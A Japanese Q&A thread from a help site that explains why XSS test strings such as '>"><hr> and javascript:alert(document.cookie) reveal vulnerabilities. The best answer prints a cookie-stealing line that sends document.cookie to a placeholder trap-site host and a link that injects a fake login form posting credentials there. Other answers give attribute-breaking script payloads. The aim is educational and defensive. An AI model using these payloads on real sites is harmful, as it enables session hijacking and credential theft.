クロスサイト・スクリプティング対策について2つ質問します。
質問1
GET及びPOSTパラメータにおいて、
'>"><hr>
とブラウザに入力した場合、エスケープ処理されずにブラウザが罫線を描くと、脆弱性ありと判断されるそうですが、理由は何でしょうか。もしかして、'>">は無意味な文字列なので、'>"><hr>から
<hr>のみを自動判別して、ブラウザが罫線を描くのは危険という意味でしょうか。
質問2
GET及びPOSTパラメータにおいて、
Javascript:alert(document.cookie);
とブラウザに入力すると、href属性に出力されると、脆弱性ありと判断されるそうですが、理由は何でしょうか。alertメソッドが、href属性に出力されるとは具体的にどういう意味なのかわかっていませんので、そこを含めて解説をお願いします。
No.5ベストアンサー
- 回答日時:
質問1;
No2さんの通り、'>"><hr> はタグが有効か簡単に確認する方法というだけで、<hr>に特に意味はありません。。
<hr>が表示される、つまり「タグや引用符が処理されていない」ということは、「そのページを改竄できる」ということを意味します。HTML部品を勝手に挿入される、といった方が分かりやすいかも知れません。
例えば、悪意者がブログで勝手にあなたのサイトを紹介し
<a href="http://あなたのサイト/フォーム.php?name=></form>
<form action='http://罠サイト/IDget.php'>
ID<input name='id'>PASS<input name='passwd'>">
[このサイトがおすすめ]
</a>
こんな感じで不正なタグ入りのクエリ付きリンクを張られます。
(</form>で正規のformは無理やり終了、続いて不正なフォームを挿入している)
これを誰かがクリックすると「その利用者には改竄されたあたなのサイト」が表示されます。
他 display:none 等で正規のformは非表示にされ、しかも「 URLはあなたのサイトのまま 」なので、利用者はまず気付かずに罠サイトに送信してしまいます。カード情報や個人情報だと被害は甚大です。
質問2;
alert()の方も、単にJavaScriptの可否を簡単に確認する方法、というだけです。
「alert()が動作する」ということは、大抵「JavaScriptの挿入可」ですので例えば
location.href="http://罠サイト/get.php?cookie="+document.cookie;
なら分かりやすいでしょうか。悪意のサーバ宛てにその利用者のクッキーを送信してしまいます。
クッキーには自動ログインの為の値やセッションIDが入っている事が多く、なりすましに利用されます。
実際には <img src=~とかで目に見えないところで送信されたり、あるいは
<script src='~/xss.js'>などで不正なJavaScriptを背後で実行されるかも知れません。
※Q1,2共に、あなたのサイトそのものが改竄されるわけではなく、「罠リンクを踏んで来訪した利用者に、正しいURLのままで、改竄されたページが表示される」ということです。
セキュリティ本1冊目を通されることをお勧めします。
徳丸 浩氏の 「安全なWebアプリケーションの作り方」が実際の手口も掲載され理解しやすくお勧めです。
No.4
- 回答日時:
質問2についてはわかりません。
javascriptをフィールドに入力しても、実行されることはないはずです。
ブラウザのアドレス欄に入力された場合に、スクリプトが実行されるかどうか(ブラウザとバージョンによる)という話は知っていますが。
No.3
- 回答日時:
入力フォームを持つページで、入力途中に何らかの操作をしても、入力中のデータが消えないようになっているものがありますよね。
例えば、名前・住所・電話番号と入力する場合に、住所の部分は郵便番号を送信すると大まかな住所が表示されて、あとは番地とか細かい部分のみの入力で済むようなものがあります。その時に、先に入力した名前を消さないために、サーバー側では送信された名前のデータを入力欄の初期値として設定しています。
そのような仕組みをつくるために、<input>タグで入力された内容を再び<input>タグのvalueにいれることがあります。
その部分で、特定文字のエスケープを行っていない場合に、脆弱性ありとされます。
<input type='text' name='username'>
という欄に「山田太郎」と入力しておくと、ページが更新されるときに
<input type='text' name='username' value='山田太郎'>
として、「山田太郎」が入力された状態を再現しているような場合、この欄に「'><script>alert('Error!');</script><input type='hidden」と入力すると、
<input type='text' name='username' value=''><script>alert('Error!');</script><input type='hidden'>
という記述になり、スクリプトが実行されてしまうのです。
No.2
- 回答日時:
脆弱性があるかどうかの判断をしているだけです。
脆弱性がある場合、同様の手口で、' onfocus='javascript:...
とか
'><script>...</script><input type='hidden
なんて形でスクリプトを埋め込むことなんかも可能だということです。
この回答への補足
すみません、
<input type="text" name="tmp" value="test">
というHTML文がWebに含まれる場合に、testとWeb入力画面から手入力すると、タグの一部が壊されて、タグが
<input type="text" name="tmp" value="
となってしまうという意味でしょうか?(外部手入力でプログラムが破壊されるというのはあまり聞かないもので確認をさせてください、、)
あと、下記の回答はご存じないでしょうか。
質問2
GET及びPOSTパラメータにおいて、
Javascript:alert(document.cookie);
とブラウザに入力すると、href属性に出力されると、脆弱性ありと判断されるそうですが、alertメソッドが、href属性に出力されるとは具体的にどういう意味なのでしょうか。
No.1
- 回答日時:
入力された文字列を初期値として表示するものがある場合などを考えればわかりやすいでしょう。
「test」と入力されたときに、
<input type="text" name="tmp" value="test">
というタグがページに含まれるとして、「'>"><hr>」だとどうなるかというと、
<input type="text" name="tmp" value="'>"><hr>"
となって、<hr>が文字列データではなくタグとして認識されます。「'>」があるのは、value=がシングルクォートで記述されている場合にも有効になるようにするためです。
もちろん、ちゃんとエスケープされていれば、こんなことは起こりません。
この回答への補足
すみません、この脆弱性は
GET及びPOSTパラメータにおいて、
'>"><hr>
と入力されると、Webページ上に意図せざる罫線が引かれてしまうということでしょうか?
たいした被害ではない気もしますが、、
お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!
似たような質問が見つかりました
- JavaScript javascriptで入力フォームが空欄の時にアラートによるエラーを出すコードを書いています。 2 2023/06/13 17:58
- PHP if(preg_match("/[^0-9]/",$gu_d)){意味を教えてください。 1 2022/05/06 05:37
- PHP ここでの ②if($su_d<>"")の比較演算子 を使う理由は 1 2022/03/26 02:33
- 哲学 大学で哲学の講義を履修しているのですが、さっぱり内容が分かりません。真面目に講義は受けているつもりで 1 2022/05/28 18:16
- PHP 掲示板のセキュリティについてアドバイスお願い致します 1 2023/08/11 20:44
- 哲学 感性は 理性よりもえらい。 6 2022/04/03 10:15
- 物理学 大学物理に詳しい方に質問です。 ラザフォードたちが実験で知りたかったことは衝突パラメータbと原子核の 1 2023/03/16 03:39
- JavaScript フォームが空欄の時にフォームの外をクリックすると、エラーが出るコードを調べています。 1 2023/06/25 11:51
- その他(パソコン・スマホ・電化製品) 人間の長期記憶に関するモデルについて。 下記の内容をもとに、一番下の質問の具体例が思いつく方いたら具 1 2023/06/30 18:21
- 英語 描写述語の条件(本来の性質、一時的な属性、又は両方)について 2 2022/07/25 13:41
関連するカテゴリからQ&Aを探す
デイリーランキングこのカテゴリの人気デイリーQ&Aランキング
-
数字以外の入力をエラーにする...
-
エクセルVBA テキストボックス...
-
テキストボックスの番号を使っ...
-
DataGridView 列ごとの入力制限
-
エディットボックスの入力制限...
-
Excel-VBAでInputBox+Pulldown...
-
TextBoxから数字が文字...
-
アクセスのマクロ
-
入力フォームへ、データを自動...
-
フォームの入力項目に全角文字...
-
VBA R1C1形式で変数の入力について
-
教えて!全角文字「μ」の半角
-
「イ分」・・・フンという文字...
-
初歩的な事だと思います。 Sub...
-
excel vba でユーザーフォーム...
-
POST時に履歴を残さない方法
-
TEXTAREA に入力時の位置
-
TextBoxに特定の文字のみ入力を...
-
Windowsのアプリ開発ってなんの...
-
VBAでInputBoxの再入力をさせる...
マンスリーランキングこのカテゴリの人気マンスリーQ&Aランキング
-
エクセルVBA テキストボックス...
-
テキストボックスの番号を使っ...
-
数字以外の入力をエラーにする...
-
初歩的な事だと思います。 Sub...
-
EXCEL VBA で指定した範囲に入...
-
Windowsのアプリ開発ってなんの...
-
教えて!全角文字「μ」の半角
-
入力フォームの値をQRコードで...
-
Excel-VBAでInputBox+Pulldown...
-
VBAでInputBoxの再入力をさせる...
-
エディットボックスの入力制限...
-
TextBoxから数字が文字...
-
VBAの質問になります メッセー...
-
指定した演算を実施の結果を表...
-
excel vba でユーザーフォーム...
-
アルファベットGの小文字の入力
-
DataGridView 列ごとの入力制限
-
c#でTextBoxの入力制限
-
accessで該当するレコードがな...
-
VBA R1C1形式で変数の入力について
おすすめ情報